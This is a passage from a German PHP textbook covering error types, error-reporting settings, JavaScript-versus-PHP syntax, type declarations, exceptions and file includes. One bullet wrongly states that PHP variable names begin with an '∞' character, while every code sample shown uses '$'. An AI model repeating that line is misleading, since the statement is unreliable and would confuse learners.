        Um die Objektorientierung zu verstehen, ist (sehr viel) mehr notwendig als ein paar erklärende Zeilen. Sie können sich jedoch an folgende Aussage halten: Im Falle kleinerer Projekte rechtfertigt die Ojektorientierung den notwendigen Mehraufwand nicht. Außerdem muss man für deren Einsatz bereits einiges an Erfahrung in der Programmierung mitbringen. Wenn Sie einmal so weit sind und Erfahrung gesammelt haben, dann soll nichts und niemand Sie aufhalten: Dann sind Sie reif für die objektorientierte Programmierung.

    


                    
                        
        11.5    Jeder macht Fehler – das Fehlermodell von PHP

        Wie bei jeder Programmierung treten während der Entwicklung wie auch während der Verarbeitung von Code Fehler auf. Diese können einerseits auf den Programmierer zurückzuführen sein (was wir ja nicht hoffen), andererseits aber auch auf das Zusammenspiel mit anderen Systemen außerhalb von PHP, z. B. das Dateisystem, andere Server (Datenbankserver, Mailserver etc.) oder auch auf systeminterne Fehler. Dementsprechend ist es bereits vor dem Einstieg in die PHP-Welt von Vorteil, sich mit diesen Fehlern und – vor allem! – mit den Konsequenzen auseinanderzusetzen.

        Grundsätzlich treten die Fehler auf dem Server auf, können jedoch nur auf dem Client ausgegeben und dargestellt werden (außer Sie haben Zugriff auf die Log-Files auf dem Server, was jedoch in aller Regel nicht der Fall ist). Die Fehler müssen somit als Response vom Server an den Client zurückgeliefert werden. Dies geschieht in aller Regel durch eine textuelle Darstellung. Es ist jedoch so, dass aufgetretene Fehler unterschiedliche Wichtigkeiten aufweisen und somit unterschiedliche Konsequenzen nach sich ziehen. Beispielsweise ist eine Notice mehr oder weniger ein Hinweis an den Programmierer, dass etwas nicht ganz so korrekt ist, aber PHP mit diesem Fehler (leicht) leben kann. Ganz anders wäre etwa ein Fatal Error, denn wenn ein solcher auftritt, bricht das PHP-Modul die weitere Abarbeitung des PHP-Codes ab dieser Stelle im Code ab. Unter den »Konsequenzen« versteht man demnach, ob der weitere Code, der sich unterhalb der Zeile befindet, an der der Fehler aufgetreten ist, noch ausgeführt oder eben abgebrochen wird.

        
            [»]  Log-Files auf dem Server oder in der lokalen Testumgebung

            Auf der lokalen Testumgebung haben Sie jedoch sehr wohl Zugriff auf die Logfiles. Sie finden diese bei XAMPP etwa im Verzeichnis xampp/logs. Interessant für uns ist besonders die Datei php_error_log, in der alle aufgetretenen Fehler eines Scripts samt Fehlerbeschreibung, Dateiname und Zeilennummer dargestellt werden.

        

        Man unterscheidet in PHP mehrere Arten von Fehlern, die ich in Tabelle 11.1 zusammengefasst habe.

        
            
                
                    	
                        Fehler

                    
                    	
                        Schwere des Fehlers

                    
                    	
                        Beschreibung

                    
                    	
                        Abbruch des Codes

                    
                

            
            
                
                    	
                        Parse Error

                    
                    	
                        hoch, kritisch

                    
                    	
                        Tritt auf, wenn ein Schreibfehler im Code auftritt (Syntax Error). Mögliche Gründe:

                        
                            	
                                fehlende Strichpunkte

                            

                            	
                                nicht geschlossene Klammern

                            

                            	
                                falsch geschlossene Anführungszeichen

                            

                        

                    
                    	
                        ja

                    
                

                
                    	
                        Fatal Error

                    
                    	
                        hoch, kritisch

                    
                    	
                        Tritt auf, wenn PHP zwar versteht, was gewünscht ist, das Gewünschte jedoch nicht ausführen kann. Mögliche Gründe:

                        
                            	
                                Fehler in Funktionsnamen

                            

                            	
                                fehlende Dateien, die benötigt werden

                            

                        

                    
                    	
                        ja

                    
                

                
                    	
                        Warning

                    
                    	
                        mittel, nicht kritisch

                    
                    	
                        Tritt auf, wenn PHP Informationen zur (vollständigen/korrekten) Ausführung fehlen. Mögliche Gründe:

                        
                            	
                                Die zu inkludierende Datei kann nicht gefunden werden.

                            

                            	
                                Funktionen werden mit einer falschen Anzahl an Parametern aufgerufen.

                            

                            	
                                Fehler in der Verwendung des Dateisystems

                            

                        

                    
                    	
                        nein

                    
                

                
                    	
                        Notice

                    
                    	
                        gering, nicht kritisch

                    
                    	
                        Tritt bei einfachen Fehlern auf, wie bei der Verwendung von Variablen, die nicht existieren o. Ä.

                    
                    	
                        nein

                    
                

            
        

        Tabelle 11.1    
            PHP-Fehler und deren Konsequenzen in absteigender Schwere

        Welche Fehler der User zu Gesicht bekommt, hängt von zwei Fragen ab:

        
            	
                Erlaubt die Konfiguration des PHP-Moduls die Darstellung von Fehlern?

            

            	
                Welche Fehler welcher Schwere werden dargestellt?

            

        

        Den ersten der beiden Punkte können Sie beeinflussen, indem Sie entweder in der Initialisierungsdatei von PHP eine entsprechende Änderung vornehmen (was jedoch nur selten möglich ist, da dies eine Konfigurationsänderung auf dem Server erfordert) oder indem Sie einen entsprechenden PHP-Befehl ausführen, um für das davon betroffene Dokument dies entsprechend festzulegen: Mit ini_set("display_errors",1); wird das Anzeigen von Fehlern (jeglicher Schwere) erlaubt, mit ini_set("display_errors",0); wird es verhindert. Führen Sie den jeweiligen Befehl in einem Dokument aus (üblicherweise ganz am Anfang des Codes), so gilt diese Einstellung ab der Zeile, in der sich dieser Befehl befindet. Nicht selten legen Programmierer diese Einstellungen global fest. Das bedeutet, dass sie ein zentrales Dokument erzeugen, das von allen anderen Dokumenten eingebunden wird (ähnlich wie die Verlinkung auf gemeinsam zu nutzende CSS-Dateien mittels <link rel="stylesheet" href="..."> oder der @import-Direktive). In dem zentralen Dokument nehmen sie dann diese Einstellungen vor. Wie dies genau geschieht, sehen Sie in Abschnitt 11.8.

        Welche Fehler (gemessen an deren Schwere) dann tatsächlich auch darstellt werden, entscheidet wiederum der Befehl error_reporting in PHP. Hier stehen viele Möglichkeiten zur Verfügung, wobei man üblicherweise während der Entwicklung alle Fehler angezeigt bekommen möchte (error_reporting(E_ALL);), im Live-Betrieb einer Seite jedoch keinen (error_reporting(0);). Eine vollständige Auflistung aller Fehlerausgaben finden Sie in der offiziellen Dokumentation von PHP unter https://www.php.net/manual/de/errorfunc.constants.php.

        Zusammenfassend kann man also sagen:

        
            	
                Während der Entwicklung:

                ini_set("display_errors",1);
error_reporting(E_ALL); 


            

            	
                Im Live-Betrieb einer Website:

                ini_set("display_errors",0);
error_reporting(0); 


            

        

        
            [Info]  Fehler-Konstanten

            E_ALL ist eine Konstante, wobei allen Fehlerkonstanten ein numerischer Wert zugewiesen ist. Beispielsweise ist E_ALL der Wert 32767 zugewiesen, E_NOTICE etwa der Wert 8. Unter dem Wert 0 versteht man die Ausgabe keines Fehlers.

        

    


                    
                        
        11.6    Die Unterschiede in der Schreibweise von JavaScript und PHP

        Weil die erste Programmiersprache, mit der Sie bei der Webentwicklung üblicherweise in Kontakt kommen, JavaScript ist, lohnt sich ein Vergleich der Schreibweise von JavaScript und PHP. In den folgenden Abschnitten stelle ich also die Unterschiede zwischen den beiden genannten Sprachen dar, wobei ich von PHP ausgehe.

        Im Weiteren gehe ich davon aus, dass Sie sich mit den Grundlagen der Programmierung im Rahmen von JavaScript beschäftigt haben, dass Sie mit den Begriffen Variable, Bedingung, Schleife, Array, Objekt und Funktion vertraut sind und dass Sie bereits ein gewisses Maß an Erfahrung in der Programmierung mitbringen.

        
            11.6.1    Variablen und Konstanten

            Zunächst gilt, dass auch PHP keine explizite Typdeklaration erfordert. Das bedeutet also, dass einer Variablen kein fest definierter Wertetyp (wie eine Ganzzahl (int), eine Kommazahl (float), ein Text (string) oder dergleichen) zugewiesen werden muss. Das halten erfahrene Programmierer oft für den schwerwiegendsten Nachteil, den PHP mit sich bringt, ist jedoch der Umgebung geschuldet, in der sich PHP bewegt: Bei der Webentwicklung hat man es grundsätzlich immer mit Textwerten zu tun, da die Web-Welt textbasiert ist. (Beispielsweise sind sämtliche HTML-Formularfeldinhalte eigentlich immer nur Text, auch wenn sie z. B. als <input type="number"> oder <input type="date"> deklariert sind.) Aus diesem Grund ist es oftmals notwendig, eine Umwandlung von einem Wertetyp in einen anderen Wertetyp vorzunehmen (z. B. von Text in ein Datum), nachdem der Wert der Variablen zugewiesen wurde. Würde man sich jedoch explizit auf einen Wertetyp für eine Variable festlegen, so wäre das nicht möglich:

            
                	
                    Eine Variablendeklaration mit var bzw. let existiert in PHP nicht: Variablen werden implizit deklariert, indem man einer Variablen einen Wert zuweist. Lediglich bei Funktionen und Klassen gibt es Ausnahmen.

                

                	
                    Jeder Variablenname beginnt mit einem ∞-Zeichen.

                

                	
                    Die Zeichenverkettung (Konkatenation) wird in PHP nicht mit einem + (Pluszeichen), sondern mit einem . (Punkt) realisiert.

                

                	
                    In PHP existiert kein globaler Gültigkeitsbereich für Variablen. Benötigen Sie globale Variablen, so müssen Sie sich behelfen, indem Sie Variablen innerhalb von z. B. Funktionen als global betrachten. Dies wird mit der Angabe global innerhalb von Funktionen realisiert; alternativ steht das Array $GLOBALS zur Verfügung, in dem globale Werte abgelegt werden können.

                

            

            Bitte beachten Sie, dass in PHP keine explizite Variablendeklaration (mittels var/let) existiert, sondern dass eine Variable implizit (d. h. bei ihrer Verwendung) deklariert wird:

            
                
                    
                        	
                            JavaScript

                        
                        	
                            PHP

                        
                    

                
                
                    
                        	
                            let a = "Uwe", b = "Mutz", c;
c = a + " " + b; //"Uwe Mutz"


                        
                        	
                            $a = "Uwe";
$b = "Mutz";
$c = $a . " " . $b; //"Uwe Mutz"


                        
                    

                
            

        
        
            11.6.2    Bedingungen

            Bedingungen (if/switch) werden in JavaScript und PHP identisch verwendet. Somit ergeben sich an dieser Stelle keine Unterschiede.

        
        
            11.6.3    Schleifen

            Auch hier entdecken wir im Großen und Ganzen keine Unterschiede: Sowohl die bewährte for-Schleife als auch die while- und die do-while-Schleife gibt es in PHP. Eine Änderung ergibt sich jedoch für die for-in-Schleife: Während Sie in JavaScript mit einer for-in-Schleife arbeiten, definiert PHP die foreach-Schleife. Eine solche Schleife wird immer dann verwendet, wenn man von einem gegebenen Konstrukt (Array, Objekt etc.) sämtliche Informationen auslesen möchte – ganz im Sinne einer for-Schleife, die über alle Einträge eines Arrays oder Objekts läuft.

            Es bleibt jedoch nicht bei einer simplen Änderung des Namens von for-in in foreach, sondern auch die Verwendung der Schleifen ist etwas unterschiedlich, wie das folgende Beispiel zeigt.

            
                
                    
                        	
                            JavaScript

                        
                        	
                            PHP

                        
                    

                
                
                    
                        	
                            let person = {
  vn: "Uwe",
  nn: "Mutz"
};
for(const eintrag in person) {
  console.log("Eintrag: " + eintrag + ", Wert: " + person[eintrag]);
}


                        
                        	
                            $person = [
  "vn" => "Uwe",
  "nn" => "Mutz"
];
foreach($person as $eintrag=>$wert) {
  echo('Eintrag: ' . $eintrag . ', Wert: ' . $wert . '<br>');
}


                        
                    

                
            

            Wie Sie sehen, ist die Herangehensweise etwas anders. Ich werde in Abschnitt 11.13, »Formulare aufgebohrt: Datei-Upload«, auf die foreach-Schleife zurückkommen.

        
        
            11.6.4    Arrays und Objekte

            Die größten Unterschiede in der Schreibweise von PHP und JavaScript bestehen bei Arrays und Objekten. Wie Sie bereits wissen, gibt es in PHP keine explizite Deklaration, weshalb ein var bzw. let entfällt. Die zwei Möglichkeiten zur Array-Deklaration, die Sie in JavaScript kennengelernt haben, die Objekt- und die Literalschreibweise, gibt es auch in PHP – wenngleich die Objektschreibweise mit array etwas anders ist als diejenige in JavaScript mit new Array: $arr = [] oder $arr = array().

            Das, was wir in JavaScript unter Objekten verstehen, wird in PHP als assoziative Arrays bezeichnet. Arrays dürfen in PHP somit zusätzlich auch Stringschlüssel anstatt Indizes haben.

            Weiters gilt:

            
                	
                    Ans Ende von Arrays kann sehr einfach ein neuer Wert geschrieben werden, indem man den Array-Namen mit hinten anstehenden eckigen Klammern schreibt: $arr[] = 7; fügt am Ende des Arrays $arr einen neuen Eintrag (mit dem Wert 7) hinzu. In JavaScript hätte man hierzu die Funktion push benötigt; alternativ kann in PHP aber auch die Funktion array_push verwendet werden.

                

                	
                    Die Eigenschaft der Länge eines Arrays aus JavaScript (arr.length) wird in PHP durch die Funktion count($arr) ersetzt. Dabei ist zu beachten, dass count lediglich die benutzten Stellen im Array zählt, JavaScript jedoch auch die unbenutzten Stellen. Betrachten Sie hierzu die Beispiele weiter unten.

                

                	
                    In PHP unterscheidet man zwischen indizierten und assoziativen Arrays:

                    
                        	
                            Indizierte Arrays sind solche, die die Einträge im Array (beginnend mit 0) durchnummerieren.

                        

                        	
                            Assoziative Arrays wiederum kennen wir als die Objekte in JavaScript, in denen die Einträge nicht nummeriert, sondern benannt werden.

                        

                    

                

            

            Arrays in PHP dürfen auch gemischt assoziativ sein. Das bedeutet, dass ein Array sowohl nummerierte als auch benannte Einträge besitzen darf.

            
                
                    
                        	
                            JavaScript

                        
                        	
                            PHP

                        
                    

                
                
                    
                        	
                            let arr0 = new Array();
let arr1 = [];
arr1.push(17);
arr1[4] = 9;


                        
                        	
                            $arr0  = array();
$arr1 = [];
$arr1[] = 17; // ans Ende des Arrays arr1 wird der 
// Wert 17 angehängt
$arr1[4] = 9;


                        
                    

                
            

            Umgemünzt in ein Beispiel, ergäbe dies den Inhalt von Abbildung 11.4, in der die Arrays grafisch dargestellt ausgegeben werden.

            
                [image: Arrays in JavaScript und PHP verhalten sich ein wenig unterschiedlich.]

                Abbildung 11.4    
            Arrays in JavaScript und PHP verhalten sich ein wenig unterschiedlich.

            
            Wie Sie gut sehen können, zählt JavaScript auch die unbenutzten Stellen im Array (Länge = 5), in PHP gibt es solche unbenutzten Stellen jedoch gar nicht (weshalb die count-Funktion auch nur zwei Stellen zählt; siehe Abbildung 11.5).

            
                [image: Gemischt-assoziative Arrays sind nur in PHP möglich – in JavaScript müssen Sie hierzu auf Objekte zurückgreifen.]

                Abbildung 11.5    
            Gemischt-assoziative Arrays sind nur in PHP möglich – in JavaScript müssen Sie hierzu auf Objekte zurückgreifen.

            
            Fügt man in PHP auch noch einen assoziativen Eintrag ein, so ergibt sich ein gemischt-assoziatives Array:

            $arr1["Uwe"] = 123; //an der Stelle "Uwe" steht nun der Wert 123


            Beachten Sie bitte, dass man in PHP nicht sagen kann, dass die assoziativen Einträge vor oder nach den indizierten Einträgen erfolgen – eine Reihenfolge hierfür gibt es einfach nicht.

            Genauso wie in JavaScript dürfen Arrays in PHP bereits vorab mit Werten befüllt werden:

            $arr  = [47,-9,false,"Uwe",11];


            Beachten Sie den Wert false, den JavaScript und PHP unterschiedlich handhaben: In der Ausgabe von false auf dem Bildschirm ist dies in PHP ein leeres Wort, in JavaScript erscheint jedoch der Text »false« (siehe Abbildung 11.6).

            
                [image: Vorab befüllte Arrays sind natürlich auch in PHP möglich.]

                Abbildung 11.6    
            Vorab befüllte Arrays sind natürlich auch in PHP möglich.

            
            Assoziative Arrays werden vorab wie folgt befüllt:

            
                
                    
                        	
                            JavaScript (Objekt)

                        
                        	
                            PHP (assoziatives Array)

                        
                    

                
                
                    
                        	
                            let obj = {
  Vorname: "Uwe",
  Nachname: "Mutz",
  Startnummer: 47
};


                        
                        	
                            $arr  = [
  "Vorname" => "Uwe",
  "Nachname" => "Mutz",
  "Startnummer" => 47
];


                        
                    

                
            

            Beachten Sie die Anführungszeichen bei der Benennung der Einträge in PHP. Abbildung 11.7 zeigt die Ausgabe auf dem Bildschirm.

            
                [image: Assoziative Arrays in PHP und Objekte in JavaScript können gut miteinander verglichen werden, wenngleich sie auch nicht ganz dasselbe sind.]

                Abbildung 11.7    
            Assoziative Arrays in PHP und Objekte in JavaScript können gut miteinander verglichen werden, wenngleich sie auch nicht ganz dasselbe sind.

            
            Die Verwendung mehrdimensionaler Arrays ist natürlich auch möglich.

        
        
            11.6.5    Funktionen

            Funktionen sind in PHP und JavaScript aus Sicht der Deklaration sehr ähnlich (jede Sprache hat so ihre Feinheiten). Jedoch haben Sie in JavaScript das arguments-Array kennengelernt, das in PHP nicht existiert (eine Funktion, die ähnlich arbeitet, ist die Funktion func_get_args()). Da Sie hierfür jedoch bereits die Rest-Parameter in JavaScript kennengelernt haben, ist das zu verkraften, denn diese Parameter (im Falle von PHP nennt man sie Variable-length Argument List) samt der zugehörigen Schreibweise mit den drei Punkten (Splat-Operator) finden wir auch in PHP.

            Eine Sache unterscheidet PHP jedoch stark von JavaScript: PHP verwendet per se keine globalen Variablen (es sei denn, sie sind explizit über das GLOBALS-Array definiert, auf das wir noch stoßen werden), weshalb Variablen in PHP-Funktionen immer lokal sind. In manchen Fällen ist es aber dennoch notwendig, auf Variablen zuzugreifen, die »außerhalb der Funktion« definiert wurden. Dies erfolgt dann über das Schlüsselwort global innerhalb der Funktion:

            
                
                    
                        	
                            JavaScript

                        
                        	
                            PHP

                        
                    

                
                
                    
                        	
                            var vn = "Uwe", nn = "Mutz";
function person_show() {
  console.log("Name: " + vn + " "  
+ nn);
}
person_show();


                        
                        	
                            $vn = "Uwe";
$nn = "Mutz";
function person_show() {
  global $vn;
  global $nn;
  echo("Name:" . $vn . " " . $nn);
}
person_show();


                        
                    

                
            

            Ein weiterer – toller! – Unterschied zu JavaScript ist die Möglichkeit der Typdeklaration von Funktionsparametern und des Rückgabewertes. Diese Möglichkeit stand zuerst in PHP 7 zur Verfügung und wurde danach mit PHP 8 vollständig eingeführt. Werfen wir also einen Blick auf die in PHP möglichen Daten-/Wertetypen:

            
                	
                    null: leerer Wert

                

                	
                    void: kein Wert

                

                	
                    skalare Datentypen:

                    
                        	
                            bool: Wahrheitswert

                        

                        	
                            int: Ganzzahl

                        

                        	
                            float: Kommazahl

                        

                        	
                            string: Text

                        

                    

                

                	
                    array: assoziatives, indiziertes oder gemischt-assoziatives Array

                

                	
                    object: Standardklasse, die mit new stdClass() instanziiert wird

                

                	
                    resource: Speicherquelle (wird beispielsweise bei der Bildgenerierung benötigt)

                

            

            Eine weitere mögliche Deklaration ist der gemischte Datentyp mixed, bei dem mehrere Wertetypen erlaubt sind.

            
                [»]  Datentypen in aller Tiefe

                Ich muss an dieser Stelle ehrlich mit Ihnen sein: Wir gehen hier nicht in die Tiefe, sondern bewegen uns eher an der Oberfläche. Zu Datentypen gibt es wesentlich mehr zu sagen, als es zu diesem Zeitpunkt notwendig ist. Mein Ziel ist es, dass Sie einen guten Einstieg in die Thematik finden – Profi können Sie immer noch werden.

            

            Warum ist diese Typdeklaration nun so toll? Die Antwort ist relativ einfach: Je stärker man sich in der Programmierung einschränkt, umso weniger Fehler kann man machen. Wenn wir also eine Variable so deklarieren können, dass sie beispielsweise nur Zahlenwerte aufnehmen darf, so würde die Zuweisung eines Strings sofort zu einem Fehler (einem sogenannten Type Error) führen. Oder wenn wir beispielsweise eine Funktion definieren wollen, die als Ergebnis (Rückgabewert) eine Zahl liefert, so darf diese nicht fälschlicherweise einen booleschen Wert retournieren, der eventuell unsere weitere Programmierung fehlerhaft machen würde. Denken Sie immer daran: Weder Sie noch ich sind fehlerfrei in unserer Programmierung. Fehlerfreiheit ist ein Wunschtraum, der nie in Erfüllung geht.

            Betrachten wir also ein erstes Beispiel: Wir wollen eine Funktion definieren, die zwei Zahlen addiert und die Summe der beiden Zahlen zurückgibt. Nach unserem bisherigen Wissen würden wir die Funktion wie folgt definieren und aufrufen:

            function addiere($a,$b) {
  $c = $a+$b;
  return $c;
}
$erg0 = addiere(2,3);
echo('<p>Das Ergebnis der Addition von 2 und 3 ist ' . $erg0 . '</p>');


            Es ist völlig klar, wie das Ergebnis aussieht (siehe Abbildung 11.8).

            
                [image: Zahlen addieren, »the easy way«: 2 plus 3 ergibt 5.]

                Abbildung 11.8    
            Zahlen addieren, »the easy way«: 2 plus 3 ergibt 5.

            
            Was aber wäre, wenn wir beim Funktionsaufruf keinen Wert oder einen Textwert als zweiten Übergabeparameter angeben? Probieren wir’s aus:

            $erg1 = addiere(2,null);
echo('<p>Das Ergebnis der Addition von 2 und null ist ' . $erg1 . '</p>');
$erg2 = addiere(2,"Uwe");
echo('<p>Das Ergebnis der Addition von 2 und "Uwe" ist ' . $erg2 . '</p>');


            Beim ersten Aufruf übergeben wir den Wert null (»leerer Wert«), beim zweiten Aufruf den Textwert »Uwe«. Beides sind keine Zahlen, die wir für die Addition verwenden können – das Ergebnis ist jedoch unterschiedlich, wie Abbildung 11.9 zeigt.

            
                [image: Je nach Übergabewert arbeitet unsere Funktion unterschiedlich, aber beide Male nicht so, wie wir es uns wünschen.]

                Abbildung 11.9    
            Je nach Übergabewert arbeitet unsere Funktion unterschiedlich, aber beide Male nicht so, wie wir es uns wünschen.

            
            Im Klartext bedeutet das: Unsere Funktion hat die beiden Werte »ohne nachzudenken« übernommen und hat versucht, diese miteinander zu addieren. Dies kann jedoch zu ungewollten Ergebnissen führen, wie der erste Aufruf mit null zeigt. Dass der zweite Aufruf dann schlussendlich auch einen Fehler generiert hat, ist positiv und gut für uns. Dennoch wollen wir schon allein den Versuch der Addition unterbinden, sollten die Typen nicht passen. Genau das erreichen wir, indem wir Typen deklarieren.

            Eine solche Typdeklaration erfolgt in der Funktionsdefinition an der Stelle, wo wir die Übergabevariablen benennen: einfach den gewünschten Typ (aus der obigen Liste) voranstellen, und gut ist es. Selbiges können wir mit einem vorangestellten Doppelpunkt für den Rückgabewert vornehmen. In unserem Fall erlauben wir demnach (Ganz- und) Kommazahlen als Übergabewerte und generieren eine Kommazahl als Rückgabewert. Beachten Sie an dieser Stelle bitte, dass der Kommazahlentyp float natürlich auch mit ganzen Zahlen (sogenannten »Integer-Zahlen«) arbeiten kann, da eine Ganzzahl ja im Wesentlichen nichts anderes ist als eine Kommazahl ohne Kommastellen:

            function addiere(float $a, float $b):float {
  $c = $a+$b;
  return $c;
}


            Rufen wir unsere abgeänderte Funktion wie bereits zuvor auf, so erhalten wir das Ergebnis aus Abbildung 11.10.

            $erg0 = addiere(2,3);
echo('<p>Das Ergebnis der Addition von 2 und 3 ist ' . $erg0 . '</p>');
$erg1 = addiere(2,null);
echo('<p>Das Ergebnis der Addition von 2 und null ist ' . $erg1 . '</p>');
$erg2 = addiere(2,"Uwe");
echo('<p>Das Ergebnis der Addition von 2 und "Uwe" ist ' . $erg2 . '</p>');


            Listing 11.2    
            Dieses Listing erzeugt beim Aufruf der Funktion »addiere()« einen Fatal Error.

            
                [image: Unsere abgeänderte Funktionsdefinition bewirkt, dass die Funktion bereits beim ersten fehlerhaften Aufruf einen entsprechenden (Fatal) Error erzeugt.]

                Abbildung 11.10    
            Unsere abgeänderte Funktionsdefinition bewirkt, dass die Funktion bereits beim ersten fehlerhaften Aufruf einen entsprechenden (Fatal) Error erzeugt.

            
            Wie Sie sehen, bricht unsere Funktion nun bereits beim ersten fehlerhaften Aufruf ab. Genau so soll das auch sein, da wir es vermeiden wollen, dass die Funktion mit falschen Wertetypen versucht, die Addition vorzunehmen. Ganz allgemein gesagt sind Typdeklarationen also ein Schutz für uns selbst, damit wir keine (oder weniger) Fehler machen.

            In manchen Fällen kann es notwendig sein, dass man mehrere mögliche Datentypen erlaubt. Insbesondere im Fall von Rückgabewerten ist das oft der Fall: Beispielsweise kann eine Funktion so definiert werden, dass sie entweder das tut, wofür sie erdacht wurde (z. B. ein Array sortieren), oder den Wert false zurückliefert (sollte das Array beispielsweise leer sein). Um mehrere Datentypen zu erlauben, trennt man diese durch einen senkrechten Strich (»Pipe«) voneinander:

            //erwartet als Übergabewert eine Ganzzahl oder einen String und liefert als 
//Ergebnis einen String oder einen booleschen Wert zurück
function test(int|string $a):string|bool { ... } 


            Sollte man wirklich nicht definieren können, welcher Datentyp an eine Funktion übergeben werden muss (ja, das kann in der Tat der Fall sein), so bedient man sich des mixed-Typs:

            //erwartet als Übergabewert einen beliebigen Typ und liefert als Ergebnis eine 
//Kommazahl zurück
function test(mixed $a):float { ... }


            Bitte beachten Sie, dass mixed bereits (fast) alle Datentypen einschließt, weshalb eine Angabe wie etwa function test(mixed|int $a):void { ... } nicht erlaubt wäre.

            Ein Datentyp sei noch besonders erwähnt: der Datentyp void. Dieser kommt immer dann zum Einsatz, wenn eine Funktion keinen Wert zurückliefert (was ja nicht selten der Fall ist). Die folgende (zugegebenermaßen sehr einfache) Funktion verbindet zwei Strings und gibt dies mittels echo auf dem Bildschirm aus – einen Rückgabewert sucht man jedoch vergeblich:

            function test(string $a, string $b):void {
  echo($a . $b);
}


        
        
            11.6.6    Konstanten und globale Variablen

            Die Syntax zur Definition einer Konstanten lautet:

            define("KONSTANTENNAME",Wert);


            Die Verwendung einer Konstanten erfolgt genauso wie die Verwendung einer Variablen, jedoch mit dem Unterschied, dass Konstanten kein führendes $-Zeichen besitzen:

            define("PI",3.1415);
$r = 20;
$umfang = 2*$r*PI;


            
                [»]  define vs. const

                Ähnlich wie in JavaScript können Konstanten in PHP auch mit const deklariert werden. Dies ist jedoch nur für die skalaren Datentypen erlaubt (int, float, string, bool – vergleiche die Auflistung der Datentypen aus dem vorangegangenen Abschnitt). Die Konstantendeklaration mittels define ist jedoch nicht auf die skalaren Datentypen beschränkt, weshalb ihr in der Regel der Vorzug gegeben wird.

            

            Konstanten besitzen einen globalen Gültigkeitsbereich. Neben den Konstanten existieren auch noch globale Variablen, die in einem (assoziativen) Array $GLOBALS verwaltet werden. Um diesem Array einen neuen Eintrag hinzuzufügen, wird folgender Code benötigt:

            $GLOBALS["Variablenname"] = Wert;


            Man spricht im Falle eines solchen Array-Eintrags auch von einer globalen Variable.

            Hierzu ein Beispiel:

            $GLOBALS["erlaubeLeerePasswoerter"] = true;


            Das Array $GLOBALS ist (selbstredend) ein globales Array, das somit wiederum von überall aus verfügbar ist. Der Unterschied zwischen globalen Variablen und Konstanten ist vor allem der Fakt, dass globale Variablen veränderbar sind, Konstanten jedoch nicht.

            Sie werden in weiterer Folge noch auf einige ähnliche Arrays stoßen, die dieselben Eigenschaften (assoziativ, global) aufweisen – diese werden wir Superglobals nennen. Beispiele hierzu sind etwa die Arrays $_POST, $_GET und $_REQUEST aus Abschnitt 11.10, $_SESSION aus Abschnitt 11.12, $_FILES aus Abschnitt 11.14 sowie weitere Arrays wie $_SERVER, $_ENV usw. Einen vollständigen Überblick über alle Superglobals finden Sie unter http://php.net/manual/de/language.variables.superglobals.php.

        
    


                    
                        
        11.7    Trial and Error: try-catch

        Bereits in JavaScript haben Sie gesehen, dass Funktionen nicht immer nur mittels boolescher Rückgabewerte einen Fehler zum Ausdruck bringen, sondern dass sie auch Exceptions erzeugen, die wir wie folgt verarbeiten können:

        
            	
                Wir könnten eine individuelle Fehlermeldung generieren.

            

            	
                Wir könnten den aufgetretenen Fehler in ein Fehler-Log speichern und nicht ausgeben.

            

            	
                usw.

            

        

        Hier eröffnen sich viele Möglichkeiten. Die einzige Einschränkung ist, dass nicht jede Funktion auch eine Ausnahme erzeugt. Auf der anderen Seite können wir zu jeder Zeit auch manuell eine Ausnahme erzeugen.

        Der folgende Code zeigt das Prinzip:

        mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); //aktiviert die 
//Möglichkeit, dass MySQL-Fehler eine Exception erzeugen
try {
  $mysqli = new mysqli("localhost", "root", "", "db_fullsteck");
  $mysqli->set_charset("utf8mb4");
} catch(Exception $e) {
  $err = $e->getMessage();
  error_log($err);
  ta($err);
  exit('Fehler im Verbindungsaufbau');
}


        Listing 11.3    
            Wir fangen eine Exception ab.

        Der Schreibfehler db_fullsteck (anstatt db_fullstack) erzeugt eine Exception, die im catch-Teil des Codes abgefangen wird. Hier wird der aufgetretene Fehler zunächst in einer Variablen $err gespeichert, dann ins Error-Log geschrieben und ausgegeben, danach wird das Skript abgebrochen. Abbildung 11.11 zeigt die Ausgabe.

        
            [image: Testweise geben wir die ursprüngliche Fehlermeldung aus und brechen dann ab.]

            Abbildung 11.11    
            Testweise geben wir die ursprüngliche Fehlermeldung aus und brechen dann ab.

        
        Wie schon erwähnt, lassen sich Exceptions auch bewusst erzeugen, indem man den Befehl throw verwendet. Handelt es sich beispielsweise um kritische Funktionen, die – falsch verwendet – einen Fehler generieren würden, erzwingt man lieber eine Exception. Das folgende Codebeispiel verdeutlicht dies:

        function division(int $a, int $b):float {
  if($b==0) {
    throw new Exception("Division durch Null");
  }
  return $a/$b;
}
try {
  $a = 15;
  for($i=5; $i>=0; $i--) {
    echo('<p>' . $a . ' / ' . $i . ' ergibt ' . division($a,$i) . '</p>');
  }
}
catch( Exception $e) {
  echo('<p class="error">Exception abgefangen: ' . $e->getMessage() . '</p>');
}


        Listing 11.4    
            Wir erzeugen eine Exception.

        
            [image: Unser kleines Skript erzeugt eine Exception, die wir entsprechend abgefangen haben. Durch die Zahl 0 lässt sich nichts dividieren.]

            Abbildung 11.12    
            Unser kleines Skript erzeugt eine Exception, die wir entsprechend abgefangen haben. Durch die Zahl 0 lässt sich nichts dividieren.

        
        Sollten Sie sich intensiver mit der Thematik auseinandersetzen wollen, so ist ein Blick auf die offizielle Dokumentation von PHP eine gute Idee (https://www.php.net/manual/de/language.exceptions.php).

    


                    
                        
        11.8    Hilfreich: Code in externe Dateien auslagern

        Um PHP-Code in unterschiedlichen Dokumenten verwenden zu können, geht man ähnlich wie im Fall von CSS oder JavaScript auf der Clientseite vor: Man lagert PHP-Code in ein externes Dokument aus und bettet dieses externe Dokument dann in all diejenigen Dokumente ein, in denen man Zugriff auf diesen Code benötigt. Anders als bei den clientseitigen Möglichkeiten existieren in PHP unterschiedliche Varianten, die sich in der Art und Weise unterscheiden, wie weiter vorgegangen wird, wenn beim Einbinden ein Fehler auftritt. Das Kriterium für die Wahl einer Variante ist die Frage: Was sind die Konsequenzen, die sich aus dem Fehler ergeben? Details hierzu finden Sie im Abschnitt 11.5.

        PHP bietet zwei Möglichkeiten, externe Dateien einzubinden:

        
            	
                include("Pfad/zur/Datei"): Bettet den Code der gewünschten Datei ein. Sollte die Datei, die eingebunden werden soll, nicht existieren, so tritt ein Warning auf.

            

            	
                require("Pfad/zur/Datei"): Arbeitet wie include, nur dass hier ein Fatal Error auftritt, falls die Datei fehlt.

            

        

        Syntax:

        include("URL zur Datei");
require("URL zur Datei");


